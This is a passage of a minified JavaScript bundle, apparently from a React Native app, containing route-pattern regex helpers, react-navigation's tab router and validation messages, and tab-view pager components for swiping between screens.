f(e,t)}function h(e,t,r){for(var n=[],i=0;i<e.length;i++)n.push(v(e[i],t,r).source);var o=new RegExp(\"(?:\"+n.join(\"|\")+\")\",s(r));return f(o,t)}function x(e,t,r){return d(i(e,r),t,r)}function d(e,t,r){m(t)||(r=t||r,t=[]),r=r||{};for(var n=r.strict,i=r.end!==!1,o=\"\",a=0;a<e.length;a++){var p=e[a];if(\"string\"==typeof p)o+=l(p);else{var u=l(p.prefix),c=\"(?:\"+p.pattern+\")\";t.push(p),p.repeat&&(c+=\"(?:\"+u+c+\")*\"),c=p.optional?p.partial?u+\"(\"+c+\")?\":\"(?:\"+u+\"(\"+c+\"))?\":u+\"(\"+c+\")\",o+=c}}var g=l(r.delimiter||\"/\"),h=o.slice(-g.length)===g;return n||(o=(h?o.slice(0,-g.length):o)+\"(?:\"+g+\"(?=$))?\"),o+=i?\"$\":n&&h?\"\":\"(?=\"+g+\"|$)\",f(new RegExp(\"^\"+o,s(r)),t)}function v(e,t,r){return m(t)||(r=t||r,t=[]),r=r||{},e instanceof RegExp?g(e,t):m(e)?h(e,t,r):x(e,t,r)}var m=t(336);r.exports=v,r.exports.parse=i,r.exports.compile=o,r.exports.tokensToFunction=u,r.exports.tokensToRegExp=d;var w=new RegExp([\"(\\\\\\\\.)\",\"([\\\\/.])?(?:(?:\\\\:(\\\\w+)(?:\\\\(((?:\\\\\\\\.|[^\\\\\\\\()])+)\\\\))?|\\\\(((?:\\\\\\\\.|[^\\\\\\\\()])+)\\\\))([+*?])?|(\\\\*))\"].join(\"|\"),\"g\")},335);\n__d(function(r,t,o,n){o.exports=Array.isArray||function(r){return\"[object Array]\"==Object.prototype.toString.call(r)}},336);\n__d(function(e,t,a,r){function n(e,t,a){return\"function\"==typeof e?babelHelpers.extends({},t,e(babelHelpers.extends({},a,{navigationOptions:t}))):\"object\"==typeof e?babelHelpers.extends({},t,e):t}Object.defineProperty(r,\"__esModule\",{value:!0});var o=t(308),i=babelHelpers.interopRequireDefault(o),u=t(338),s=babelHelpers.interopRequireDefault(u),l=t(307),p=babelHelpers.interopRequireDefault(l),f=t(339),b=babelHelpers.interopRequireDefault(f);r.default=function(e,t){return function(a,r){var o=a.state,u=a.dispatch,l=o;(0,i.default)(l.routeName&&\"string\"==typeof l.routeName,\"Cannot get config because the route does not have a routeName.\");var f=(0,s.default)(e,l.routeName),d={},c=f.router;if(c){var v=l,g=v.routes,H=v.index;if(!l||!g||null==H)throw new Error(\"Expect nav state to have routes and index, \"+JSON.stringify(l));var h=g[H],x=(0,p.default)({state:h,dispatch:u});d=c.getScreenOptions(x,r)}var N=e[l.routeName],O=N.navigationOptions,m=f.navigationOptions,y={navigation:a,screenProps:r||{}};return d=n(t,d,y),d=n(m,d,y),d=n(O,d,y),(0,b.default)(d,l),d}}},337);\n__d(function(e,r,n,t){function o(e,r){var n=e[r];if(!n)throw new Error(\"There is no route defined for key \"+r+\".\\nMust be one of: \"+Object.keys(e).map(function(e){return\"'\"+e+\"'\"}).join(\",\"));if(n.screen)return n.screen;if(\"function\"==typeof n.getScreen){var t=n.getScreen();return(0,u.default)(\"function\"==typeof t,\"The getScreen defined for route '\"+r+\" didn't return a valid screen or navigator.\\n\\nPlease pass it like this:\\n\"+(r+\": {\\n  getScreen: () => require('./MyScreen').default\\n}\")),t}throw new Error(\"Route \"+r+\" must define a screen or a getScreen.\")}Object.defineProperty(t,\"__esModule\",{value:!0}),t.default=o;var i=r(308),u=babelHelpers.interopRequireDefault(i)},338);\n__d(function(n,e,t,o){Object.defineProperty(o,\"__esModule\",{value:!0});var i=[\"tabBar\"];o.default=function(n,e){var t=Object.keys(n),o=t.find(function(n){return i.includes(n)});if(\"function\"==typeof n.title)throw new Error([\"`title` cannot be defined as a function in navigation options for `\"+e.routeName+\"` screen. \\n\",\"Try replacing the following:\",\"{\",\"    title: ({ state }) => state...\",\"}\",\"\",\"with:\",\"({ navigation }) => ({\",\"    title: navigation.state...\",\"})\"].join(\"\\n\"));if(o&&\"function\"==typeof n[o])throw new Error([\"`\"+o+\"` cannot be defined as a function in navigation options for `\"+e.routeName+\"` screen. \\n\",\"Try replacing the following:\",\"{\",\"    \"+o+\": ({ state }) => ({\",\"         key: state...\",\"    })\",\"}\",\"\",\"with:\",\"({ navigation }) => ({\",\"    \"+o+\"Key: navigation.state...\",\"})\"].join(\"\\n\"));if(o&&\"object\"==typeof n[o])throw new Error([\"Invalid key `\"+o+\"` defined in navigation options for `\"+e.routeName+\"` screen.\",\"\\n\",\"Try replacing the following navigation options:\",\"{\",\"    \"+o+\": {\"].concat(babelHelpers.toConsumableArray(Object.keys(n[o]).map(function(n){return\"        \"+n+\": ...,\"})),[\"    },\",\"}\",\"\\n\",\"with:\",\"{\"],babelHelpers.toConsumableArray(Object.keys(n[o]).map(function(n){return\"    \"+(o+n[0].toUpperCase()+n.slice(1))+\": ...,\"})),[\"}\"]).join(\"\\n\"))}},339);\n__d(function(e,n,r,o){function t(e){var n=Object.keys(e);(0,c.default)(n.length>0,\"Please specify at least one route when configuring a navigator.\"),n.forEach(function(n){var r=e[n];if(!r.screen&&!r.getScreen)throw new Error(\"Route '\"+n+\"' should declare a screen. For example:\\n\\nimport MyScreen from './MyScreen';\\n...\\n\"+(n+\": {\\n\")+\"  screen: MyScreen,\\n}\");if(r.screen&&r.getScreen)throw new Error(\"Route '\"+n+\"' should declare a screen or a getScreen, not both.\");if(r.screen&&\"function\"!=typeof r.screen)throw new Error(\"The component for route '\"+n+\"' must be a React component. For example:\\n\\nimport MyScreen from './MyScreen';\\n...\\n\"+(n+\": {\\n\")+\"  screen: MyScreen,\\n}\\n\\nYou can also use a navigator:\\n\\nimport MyNavigator from './MyNavigator';\\n...\\n\"+(n+\": {\\n\")+\"  screen: MyNavigator,\\n}\")})}Object.defineProperty(o,\"__esModule\",{value:!0});var a=n(308),c=babelHelpers.interopRequireDefault(a);o.default=t},340);\n__d(function(e,t,n,r){Object.defineProperty(r,\"__esModule\",{value:!0});var u=t(308),a=babelHelpers.interopRequireDefault(u);r.default=function(){return(0,a.default)(!1,\"`getScreenConfig` has been replaced with `getScreenOptions`\")}},341);\n__d(function(a,e,t,n){Object.defineProperty(n,\"__esModule\",{value:!0});var i=\"react-navigation/STACK\",o=\"react-navigation/TABS\",r=\"react-navigation/DRAWER\";n.default={STACK:i,TABS:o,DRAWER:r}},342);\n__d(function(e,a,t,i){Object.defineProperty(i,\"__esModule\",{value:!0});var o=a(52),n=babelHelpers.interopRequireDefault(o),l=a(12),r=a(310),b=babelHelpers.interopRequireDefault(r),s=a(304),u=babelHelpers.interopRequireDefault(s),p=a(344),d=babelHelpers.interopRequireDefault(p),f=a(345),B=babelHelpers.interopRequireDefault(f),m=a(356),T=babelHelpers.interopRequireDefault(m),y=a(358),E=babelHelpers.interopRequireDefault(y),H=a(342),D=babelHelpers.interopRequireDefault(H),P=function e(a){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=babelHelpers.extends({},e.Presets.Default,t),o=i.tabBarComponent,l=i.tabBarPosition,r=i.tabBarOptions,s=i.swipeEnabled,p=i.animationEnabled,f=i.lazy,m=i.initialLayout,T=babelHelpers.objectWithoutProperties(i,[\"tabBarComponent\",\"tabBarPosition\",\"tabBarOptions\",\"swipeEnabled\",\"animationEnabled\",\"lazy\",\"initialLayout\"]),y=(0,d.default)(a,T),E=(0,b.default)(y,a,t,D.default.TABS)(function(e){return n.default.createElement(B.default,babelHelpers.extends({},e,{tabBarComponent:o,tabBarPosition:l,tabBarOptions:r,swipeEnabled:s,animationEnabled:p,lazy:f,initialLayout:m}))});return(0,u.default)(E)},O={iOSBottomTabs:{tabBarComponent:E.default,tabBarPosition:\"bottom\",swipeEnabled:!1,animationEnabled:!1,lazy:!1,initialLayout:void 0},AndroidTopTabs:{tabBarComponent:T.default,tabBarPosition:\"top\",swipeEnabled:!0,animationEnabled:!0,lazy:!1,initialLayout:void 0}};P.Presets={iOSBottomTabs:O.iOSBottomTabs,AndroidTopTabs:O.AndroidTopTabs,Default:\"ios\"===l.Platform.OS?O.iOSBottomTabs:O.AndroidTopTabs},i.default=P},343);\n__d(function(e,t,r,a){Object.defineProperty(a,\"__esModule\",{value:!0});var n=t(308),o=babelHelpers.interopRequireDefault(n),i=t(338),u=babelHelpers.interopRequireDefault(i),s=t(337),l=babelHelpers.interopRequireDefault(s),d=t(306),p=babelHelpers.interopRequireDefault(d),f=t(340),b=babelHelpers.interopRequireDefault(f),c=t(341),m=babelHelpers.interopRequireDefault(c);a.default=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};(0,b.default)(e);var r=t.order||Object.keys(e),a=t.paths||{},n=t.initialRouteName||r[0],i=r.indexOf(n),s=t.backBehavior||\"initialRoute\",d=\"initialRoute\"===s,f={};if(r.forEach(function(t){var r=e[t];a[t]=\"string\"==typeof r.path?r.path:t,f[t]=null,r.screen&&r.screen.router&&(f[t]=r.screen.router)}),i===-1)throw new Error(\"Invalid initialRouteName '\"+n+\"' for TabRouter. Should be one of \"+r.map(function(e){return'\"'+e+'\"'}).join(\", \"));return{getStateForAction:function(e,t){var a=t;if(!a){var n=r.map(function(t){var r=f[t];if(r){var a=e.action||p.default.init(babelHelpers.extends({},e.params?{params:e.params}:{}));return babelHelpers.extends({},r.getStateForAction(a),{key:t,routeName:t})}return{key:t,routeName:t}});a={routes:n,index:i}}if(e.type===p.default.INIT){var o=e.params;o&&(a.routes=a.routes.map(function(e){return babelHelpers.extends({},e,{params:babelHelpers.extends({},e.params,o)})}))}var u=a.routes[a.index],s=f[r[a.index]];if(s){var l=s.getStateForAction(e.action||e,u);if(!l&&t)return null;if(l&&l!==u){var b=[].concat(babelHelpers.toConsumableArray(a.routes));return b[a.index]=l,babelHelpers.extends({},a,{routes:b})}}var c=a.index,m=null==e.key||e.key===u.key;e.type===p.default.BACK&&m&&d&&(c=i);var v=!1;if(e.type===p.default.NAVIGATE){var x=e;if(v=!!r.find(function(e,t){return e===x.routeName&&(c=t,!0)})){var A=a.routes[c],H=void 0,g=f[e.routeName];if(e.action?H=g?g.getStateForAction(e.action,A):null:!g&&e.params&&(H=babelHelpers.extends({},A,{params:babelHelpers.extends({},A.params||{},e.params)})),H&&H!==A){var h=[].concat(babelHelpers.toConsumableArray(a.routes));return h[c]=H,babelHelpers.extends({},a,{routes:h,index:c})}}}if(e.type===p.default.SET_PARAMS){var y=e.key,S=a.routes.find(function(e){return e.key===y});if(S){var P=babelHelpers.extends({},S.params,e.params),F=[].concat(babelHelpers.toConsumableArray(a.routes));return F[a.routes.indexOf(S)]=babelHelpers.extends({},S,{params:P}),babelHelpers.extends({},a,{routes:F})}}if(c!==a.index)return babelHelpers.extends({},a,{index:c});if(v&&!t)return a;if(v)return null;var R=a.index,k=a.routes;return r.find(function(t,r){var a=f[t];if(r===R)return!1;var n=k[r];return a&&(n=a.getStateForAction(e,n)),n?n!==k[r]&&(k=[].concat(babelHelpers.toConsumableArray(k)),k[r]=n,R=r,!0):(R=r,!0)}),R=e.type===p.default.SET_PARAMS?a.index:R,R!==a.index||k!==a.routes?babelHelpers.extends({},a,{index:R,routes:k}):a},getComponentForState:function(t){var a=r[t.index];(0,o.default)(a,\"There is no route defined for index \"+t.index+\". Check that\\n        that you passed in a navigation state with a valid tab/screen index.\");var n=f[a];return n?n.getComponentForState(t.routes[t.index]):(0,u.default)(e,a)},getComponentForRouteName:function(t){return(0,u.default)(e,t)},getPathAndParamsForState:function(t){var n=t.routes[t.index],o=r[t.index],i=a[o],s=(0,u.default)(e,o),l=i,d=n.params;if(s&&s.router){var p=n,f=s.router.getPathAndParamsForState(p);l=i?i+\"/\"+f.path:f.path,d=f.params?babelHelpers.extends({},d,f.params):d}return{path:l,params:d}},getActionForPathAndParams:function(e,t){return r.map(function(r){var n=e.split(\"/\"),o=a[r];if(n[0]===o){var i=f[r],u=p.default.navigate({routeName:r});return i&&i.getActionForPathAndParams?u.action=i.getActionForPathAndParams(n.slice(1).join(\"/\"),t):t&&(u.params=t),u}return null}).find(function(e){return!!e})||r.map(function(r){var a=f[r];return a&&a.getActionForPathAndParams(e,t)}).find(function(e){return!!e})||null},getScreenOptions:(0,l.default)(e,t.navigationOptions),getScreenConfig:m.default}}},344);\n__d(function(e,r,t,n){Object.defineProperty(n,\"__esModule\",{value:!0});var a=r(52),o=babelHelpers.interopRequireWildcard(a),s=r(12),i=r(346),p=r(328),l=babelHelpers.interopRequireDefault(p),c=r(355),u=babelHelpers.interopRequireDefault(c),b=r(325),d=(babelHelpers.interopRequireDefault(b),function(e){function r(){var e,t,n,a;babelHelpers.classCallCheck(this,r);for(var p=arguments.length,c=Array(p),u=0;u<p;u++)c[u]=arguments[u];return t=n=babelHelpers.possibleConstructorReturn(this,(e=r.__proto__||Object.getPrototypeOf(r)).call.apply(e,[this].concat(c))),n._handlePageChanged=function(e){var r=n.props.navigation;r.navigate(r.state.routes[e].routeName)},n._renderScene=function(e){var r=e.route,t=n.props.screenProps,a=n.props.childNavigationProps[r.key],i=n.props.router.getComponentForRouteName(r.routeName);return o.createElement(s.View,{style:g.page},o.createElement(l.default,{screenProps:t,component:i,navigation:a}))},n._getLabel=function(e){var r=e.route,t=e.tintColor,a=e.focused,o=n.props.router.getScreenOptions(n.props.childNavigationProps[r.key],n.props.screenProps||{});return o.tabBarLabel?\"function\"==typeof o.tabBarLabel?o.tabBarLabel({tintColor:t,focused:a}):o.tabBarLabel:\"string\"==typeof o.title?o.title:r.routeName},n._getOnPress=function(e){var r=e.route,t=n.props.router.getScreenOptions(n.props.childNavigationProps[r.key],n.props.screenProps||{});return t.tabBarOnPress},n._getTestIDProps=function(e){var r=e.route,t=n.props.router.getScreenOptions(n.props.childNavigationProps[r.key],n.props.screenProps||{});return t.tabBarTestIDProps},n._renderIcon=function(e){var r=e.focused,t=e.route,a=e.tintColor,o=n.props.router.getScreenOptions(n.props.childNavigationProps[t.key],n.props.screenProps||{});return o.tabBarIcon?\"function\"==typeof o.tabBarIcon?o.tabBarIcon({tintColor:a,focused:r}):o.tabBarIcon:null},n._renderTabBar=function(e){var r=n.props,t=r.tabBarOptions,a=r.tabBarComponent,s=r.animationEnabled;return\"undefined\"==typeof a?null:o.createElement(a,babelHelpers.extends({},e,t,{screenProps:n.props.screenProps,navigation:n.props.navigation,getLabel:n._getLabel,getTestIDProps:n._getTestIDProps,getOnPress:n._getOnPress,renderIcon:n._renderIcon,animationEnabled:s}))},n._renderPager=function(e){return o.createElement(i.TabViewPagerPan,e)},a=t,babelHelpers.possibleConstructorReturn(n,a)}return babelHelpers.inherits(r,e),babelHelpers.createClass(r,[{key:\"render\",value:function(){var e=this.props,r=e.router,t=e.tabBarComponent,n=e.tabBarPosition,a=e.animationEnabled,s=e.swipeEnabled,p=e.lazy,l=e.initialLayout,c=e.screenProps,u=void 0,b=void 0,d=void 0,P=this.props.navigation.state,f=r.getScreenOptions(this.props.childNavigationProps[P.routes[P.index].key],c||{}),v=null==f.tabBarVisible||f.tabBarVisible;void 0!==t&&v&&(\"bottom\"===n?b=this._renderTabBar:u=this._renderTabBar),a===!1&&s===!1&&(d=this._renderPager);var h={lazy:p,initialLayout:l,animationEnabled:a,swipeEnabled:s,renderPager:d,renderHeader:u,renderFooter:b,renderScene:this._renderScene,onIndexChange:this._handlePageChanged,navigationState:this.props.navigation.state,screenProps:this.props.screenProps,style:g.container};return o.createElement(i.TabViewAnimated,h)}}]),r}(o.PureComponent));d.defaultProps={initialLayout:s.Platform.select({android:{width:1,height:0}})},n.default=(0,u.default)(d);var g=s.StyleSheet.create({container:{flex:1},page:{flex:1,overflow:\"hidden\"}})},345);\n__d(function(t,e,n,c){n.exports={get TabViewAnimated(){return e(347).default},get TabViewPagerPan(){return e(351).default},get TabViewPagerScroll(){return e(350).default},get TabViewPagerAndroid(){return e(349).default},get TabBar(){return e(352).default},get SceneMap(){return e(354).default}}},346);\n__d(function(e,t,n,i){Object.defineProperty(i,\"__esModule\",{value:!0});var a=t(52),o=babelHelpers.interopRequireWildcard(a),r=t(111),s=babelHelpers.interopRequireDefault(r),u=t(12),d=t(348),l=void 0;switch(u.Platform.OS){case\"android\":l=t(349).default;break;case\"ios\":l=t(350).default;break;default:l=t(351).default}var c=function(e){function t(e){babelHelpers.classCallCheck(this,t);var n=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return p.call(n),n.state={loaded:[n.props.navigationState.index],layout:babelHelpers.extends({},n.props.initialLayout,{measured:!1}),position:new u.Animated.Value(n.props.navigationState.index)},n}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){this._mounted=!0,this._positionListener=this.state.position.addListener(this._trackPosition)}},{key:\"componentWillUnmount\",value:function(){this._mounted=!1,this.state.position.removeListener(this._positionListener)}},{key:\"render\",value:function(){var e=this,t=this.props,n=t.navigationState,i=(t.onIndexChange,t.onPositionChange,t.canJumpToTab,t.lazy,t.initialLayout,t.renderScene,t.renderPager),a=t.renderHeader,r=t.renderFooter,s=babelHelpers.objectWithoutProperties(t,[\"navigationState\",\"onIndexChange\",\"onPositionChange\",\"canJumpToTab\",\"lazy\",\"initialLayout\",\"renderScene\",\"renderPager\",\"renderHeader\",\"renderFooter\"]),d=this._buildSceneRendererProps();return o.createElement(u.View,{onLayout:this._handleLayout,loaded:this.state.loaded,style:[h.container,this.props.style]},a&&a(d),i(babelHelpers.extends({},d,s,{children:n.routes.map(function(t,i){return e._renderScene(babelHelpers.extends({},d,{route:t,index:i,focused:i===n.index}))})})),r&&r(d))}}]),t}(o.Component);c.propTypes={navigationState:d.NavigationStatePropType.isRequired,onIndexChange:s.default.func.isRequired,onPositionChange:s.default.func,initialLayout:s.default.shape({height:s.default.number.isRequired,width:s.default.number.isRequired}),canJumpToTab:s.default.func,renderPager:s.default.func.isRequired,renderScene:s.default.func.isRequired,renderHeader:s.default.func,renderFooter:s.default.func,lazy:s.default.bool},c.defaultProps={renderPager:function(e){return o.createElement(l,e)},initialLayout:{height:0,width:0}};var p=function(){var e=this;this._mounted=!1,this._subscriptions={},this._renderScene=function(t){var n=e.props,i=n.renderScene,a=n.lazy,o=t.navigationState,r=e.state.loaded;return a?r.includes(o.routes.indexOf(t.route))?i(t):null:i(t)},this._handlePositionChange=function(t){var n=e.props,i=n.onPositionChange,a=n.navigationState,o=n.lazy;i&&i({value:t});var r=e.state.loaded;if(o){var s=Math.ceil(t);if(s===a.index&&(s=Math.floor(t)),r.includes(s))return;e.setState({loaded:[].concat(babelHelpers.toConsumableArray(r),[s])})}},this._trackPosition=function(t){e._handlePositionChange(t.value),e._triggerEvent(\"position\",t.value),e._lastPosition=t.value},this._getLastPosition=function(){return\"number\"==typeof e._lastPosition?e._lastPosition:e.props.navigationState.index},this._handleLayout=function(t){var n=t.nativeEvent.layout,i=n.height,a=n.width;e.state.layout.width===a&&e.state.layout.height===i||e.setState({layout:{measured:!0,height:i,width:a}})},this._buildSceneRendererProps=function(){return{layout:e.state.layout,navigationState:e.props.navigationState,position:e.state.position,jumpToIndex:e._jumpToIndex,getLastPosition:e._getLastPosition,subscribe:e._addSubscription}},this._jumpToIndex=function(t){if(e._mounted){var n=e.props,i=n.canJumpToTab,a=n.navigationState;return i&&!i(a.routes[t])?void e._triggerEvent(\"reset\",a.index):void(t!==a.index&&e.props.onIndexChange(t))}},this._addSubscription=function(t,n){return e._subscriptions[t]||(e._subscriptions[t]=[]),e._subscriptions[t].push(n),{remove:function(){var i=e._subscriptions[t].indexOf(n);i>-1&&e._subscriptions[t].splice(i,1)}}},this._triggerEvent=function(t,n){e._subscriptions[t]&&e._subscriptions[t].forEach(function(e){return e(n)})}};i.default=c;var h=u.StyleSheet.create({container:{flex:1,overflow:\"hidden\"}})},347);\n__d(function(e,i,t,u){Object.defineProperty(u,\"__esModule\",{value:!0}),u.SceneRendererPropType=u.NavigationStatePropType=u.NavigationRoutePropType=void 0;var a=i(111),r=babelHelpers.interopRequireDefault(a),d=i(12),n=u.NavigationRoutePropType=r.default.shape({title:r.default.string,key:r.default.string.isRequired}),o=u.NavigationStatePropType=r.default.shape({routes:r.default.arrayOf(n).isRequired,index:r.default.number.isRequired});u.SceneRendererPropType={layout:r.default.shape({measured:r.default.bool.isRequired,height:r.default.number.isRequired,width:r.default.number.isRequired}).isRequired,navigationState:o.isRequired,position:r.default.instanceOf(d.Animated.Value).isRequired,jumpToIndex:r.default.func.isRequired,getLastPosition:r.default.func.isRequired,subscribe:r.default.func.isRequired}},348);\n__d(function(e,n,t,a){Object.defineProperty(a,\"__esModule\",{value:!0});var i=n(52),r=babelHelpers.interopRequireWildcard(i),o=n(111),l=babelHelpers.interopRequireDefault(o),s=n(12),d=n(348),u=function(n){function t(e){babelHelpers.classCallCheck(this,t);var n=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n._isRequestingAnimationFrame=!1,n._isIdle=!0,n._currentIndex=0,n._getPageIndex=function(e){return s.I18nManager.isRTL?n.props.navigationState.routes.length-(e+1):e},n._setPage=function(e){var t=n._viewPager;if(t){n._animationFrameCallback=null;var a=n._getPageIndex(e);n.props.animationEnabled!==!1?t.setPage(a):t.setPageWithoutAnimation(a)}},n._handlePageChange=function(e){n._isIdle&&n._currentIndex!==e&&(n._setPage(e),n._currentIndex=e)},n._handlePageScroll=function(e){n.props.position.setValue(n._getPageIndex(e.nativeEvent.position)+e.nativeEvent.offset*(s.I18nManager.isRTL?-1:1))},n._handlePageScrollStateChanged=function(e){n._isIdle=\"idle\"===e,n.props.jumpToIndex(n._currentIndex)},n._handlePageSelected=function(e){var t=n._getPageIndex(e.nativeEvent.position);n._currentIndex=t},n._setRef=function(e){return n._viewPager=e},n._currentIndex=n.props.navigationState.index,n}return babelHelpers.inherits(t,n),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){this._resetListener=this.props.subscribe(\"reset\",this._handlePageChange)}},{key:\"componentWillReceiveProps\",value:function(n){var t=this;this.props.layout===n.layout&&r.Children.count(this.props.children)===r.Children.count(n.children)||(this._animationFrameCallback=function(){if(t._viewPager){var e=n.navigationState,a=s.I18nManager.isRTL?e.routes.length-(e.index+1):e.index;t._viewPager.setPageWithoutAnimation(a)}},this._isRequestingAnimationFrame||(this._isRequestingAnimationFrame=!0,e.requestAnimationFrame(function(){t._isRequestingAnimationFrame=!1,t._animationFrameCallback&&t._animationFrameCallback()})))}},{key:\"componentDidUpdate\",value:function(){this._handlePageChange(this.props.navigationState.index)}},{key:\"componentWillUnmount\",value:function(){this._resetListener.remove()}},{key:\"render\",value:function(){var e=this.props,n=e.children,t=e.navigationState,a=e.swipeEnabled,i=r.Children.map(n,function(e,n){return r.createElement(s.View,{key:t.routes[n].key,testID:t.routes[n].testID,style:c.page},e)});s.I18nManager.isRTL&&i.reverse();var o=this._getPageIndex(t.index);return r.createElement(s.ViewPagerAndroid,{key:t.routes.length,keyboardDismissMode:\"on-drag\",initialPage:o,scrollEnabled:a!==!1,onPageScroll:this._handlePageScroll,onPageScrollStateChanged:this._handlePageScrollStateChanged,onPageSelected:this._handlePageSelected,style:c.container,ref:this._setRef},i)}}]),t}(r.Component);u.propTypes=babelHelpers.extends({},d.SceneRendererPropType,{animationEnabled:l.default.bool,swipeEnabled:l.default.bool,children:l.default.node}),a.default=u;var c=s.StyleSheet.create({container:{flexGrow:1},page:{overflow:\"hidden\"}})},349);\n__d(function(e,t,n,o){Object.defineProperty(o,\"__esModule\",{value:!0});var l=t(52),i=babelHelpers.interopRequireWildcard(l),a=t(111),r=babelHelpers.interopRequireDefault(a),s=t(12),d=t(348),p=function(t){function n(e){babelHelpers.classCallCheck(this,n);var t=babelHelpers.possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));return t._nextOffset=0,t._isIdle=!0,t._scrollTo=function(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:t.props.animationEnabled!==!1;t._nextOffset=e,t._isIdle&&t._scrollView&&t._scrollView.scrollTo({x:e,animated:n})},t._handleMomentumScrollEnd=function(e){var n=Math.round(e.nativeEvent.contentOffset.x/t.props.layout.width);t._isIdle=!0,t.props.jumpToIndex(n)},t._handleScroll=function(e){t._isIdle=Math.abs(e.nativeEvent.contentOffset.x-t._nextOffset)<.1,t.props.position.setValue(e.nativeEvent.contentOffset.x/t.props.layout.width)},t._setRef=function(e){return t._scrollView=e},t.state={initialOffset:{x:t.props.navigationState.index*t.props.layout.width,y:0}},t}return babelHelpers.inherits(n,t),babelHelpers.createClass(n,[{key:\"componentDidMount\",value:function(){this._scrollTo(this.props.navigationState.index*this.props.layout.width,!1),this._resetListener=this.props.subscribe(\"reset\",this._scrollTo)}},{key:\"componentDidUpdate\",value:function(t){var n=this,o=this.props.navigationState.index*this.props.layout.width;t.navigationState===this.props.navigationState&&t.layout===this.props.layout||(\"android\"===s.Platform.OS||t.navigationState!==this.props.navigationState?e.requestAnimationFrame(function(){return n._scrollTo(o)}):this._scrollTo(o,!1))}},{key:\"componentWillUnmount\",value:function(){this._resetListener.remove()}},{key:\"render\",value:function(){var e=this.props,t=e.children,n=e.layout,o=e.navigationState;return i.createElement(s.ScrollView,{horizontal:!0,pagingEnabled:!0,directionalLockEnabled:!0,keyboardDismissMode:\"on-drag\",keyboardShouldPersistTaps:\"always\",scrollEnabled:this.props.swipeEnabled,automaticallyAdjustContentInsets:!1,bounces:!1,alwaysBounceHorizontal:!1,scrollsToTop:!1,showsHorizontalScrollIndicator:!1,scrollEventThrottle:16,onScroll:this._handleScroll,onMomentumScrollEnd:this._handleMomentumScrollEnd,contentOffset:this.state.initialOffset,style:c.container,contentContainerStyle:n.width?null:c.container,ref:this._setRef},i.Children.map(t,function(e,t){return i.createElement(s.View,{key:o.routes[t].key,testID:o.routes[t].testID,style:n.width?{width:n.width,overflow:\"hidden\"}:t===o.index?c.page:null},t===o.index||n.width?e:null)}))}}]),n}(i.Component);p.propTypes=babelHelpers.extends({},d.SceneRendererPropType,{animationEnabled:r.default.bool,swipeEnabled:r.default.bool,children:r.default.node}),o.default=p;var c=s.StyleSheet.create({container:{flexGrow:1},page:{flex:1,overflow:\"hidden\"}})},350);\n__d(function(e,n,t,i){Object.defineProperty(i,\"__esModule\",{value:!0});var o=n(52),r=babelHelpers.interopRequireWildcard(o),s=n(111),a=babelHelpers.interopRequireDefault(s),p=n(12),l=n(348),u=12,d={timing:p.Animated.spring,tension:300,friction:35},c=function(e){function n(){var e,t,i,o;babelHelpers.classCallCheck(this,n);for(var r=arguments.length,s=Array(r),a=0;a<r;a++)s[a]=arguments[a];return t=i=babelHelpers.possibleConstructorReturn(this,(e=n.__proto__||Object.getPrototypeOf(n)).call.apply(e,[this].concat(s))),i._pendingIndex=null,i._lastValue=null,i._isMoving=null,i._startDirection=0,i._isIndexInRange=function(e){var n=i.props.navigationState.routes;return e>=0&&e<=n.length-1},i._isMovingHorizontally=function(e,n){return Math.abs(n.dx)>Math.abs(3*n.dy)&&Math.abs(n.vx)>Math.abs(3*n.vy)},i._isReverseDirection=function(e){return i._startDirection>0?e.vx<0:e.vx>0},i._getNextIndex=function(e,n){var t=\"number\"==typeof i._pendingIndex?i._pendingIndex:i.props.navigationState.index,o=i.props.swipeVelocityThreshold;if(\"android\"===p.Platform.OS&&(o/=1e6),Math.abs(n.dx)>i.props.swipeDistanceThreshold||Math.abs(n.vx)>o){var r=t-n.dx/Math.abs(n.dx)*(p.I18nManager.isRTL?-1:1);if(i._isIndexInRange(r))return r}return t},i._canMoveScreen=function(e,n){if(i.props.swipeEnabled===!1)return!1;var t=i.props.navigationState,o=t.routes,r=t.index,s=i._isMovingHorizontally(e,n)&&(n.dx>=u&&r>=0||n.dx<=-u&&r<=o.length-1);return s&&(i._startDirection=n.dx),s},i._startGesture=function(e,n){\"function\"==typeof i.props.onSwipeStart&&i.props.onSwipeStart(e,n),i._lastValue=i.props.getLastPosition(),i.props.position.stopAnimation()},i._respondToGesture=function(e,n){var t=i.props.layout.width,o=\"number\"==typeof i._lastValue?i._lastValue:i.props.navigationState.index,r=o-n.dx/t*(p.I18nManager.isRTL?-1:1);null===i._isMoving&&(i._isMoving=i._isMovingHorizontally(e,n)),i._isMoving&&i._isIndexInRange(r)&&i.props.position.setValue(r)},i._finishGesture=function(e,n){\"function\"==typeof i.props.onSwipeEnd&&i.props.onSwipeEnd(e,n);var t=i.props.navigationState.index,o=i.props.getLastPosition();if(o!==t)if(i._isMoving&&!i._isReverseDirection(n)){var r=i._getNextIndex(e,n);i._transitionTo(r)}else i._transitionTo(t);i._lastValue=null,i._isMoving=null},i._transitionTo=function(e){var n=i.props.getLastPosition(),t={progress:n},o={progress:e};if(i._pendingIndex=e,i.props.animationEnabled!==!1){var r=i.props.configureTransition(t,o),s=r.timing,a=babelHelpers.objectWithoutProperties(r,[\"timing\"]);s(i.props.position,babelHelpers.extends({},a,{toValue:e})).start(function(n){var t=n.finished;t&&(i.props.jumpToIndex(e),i._pendingIndex=null)})}else i.props.position.setValue(e),i.props.jumpToIndex(e),i._pendingIndex=null},o=t,babelHelpers.possibleConstructorReturn(i,o)}return 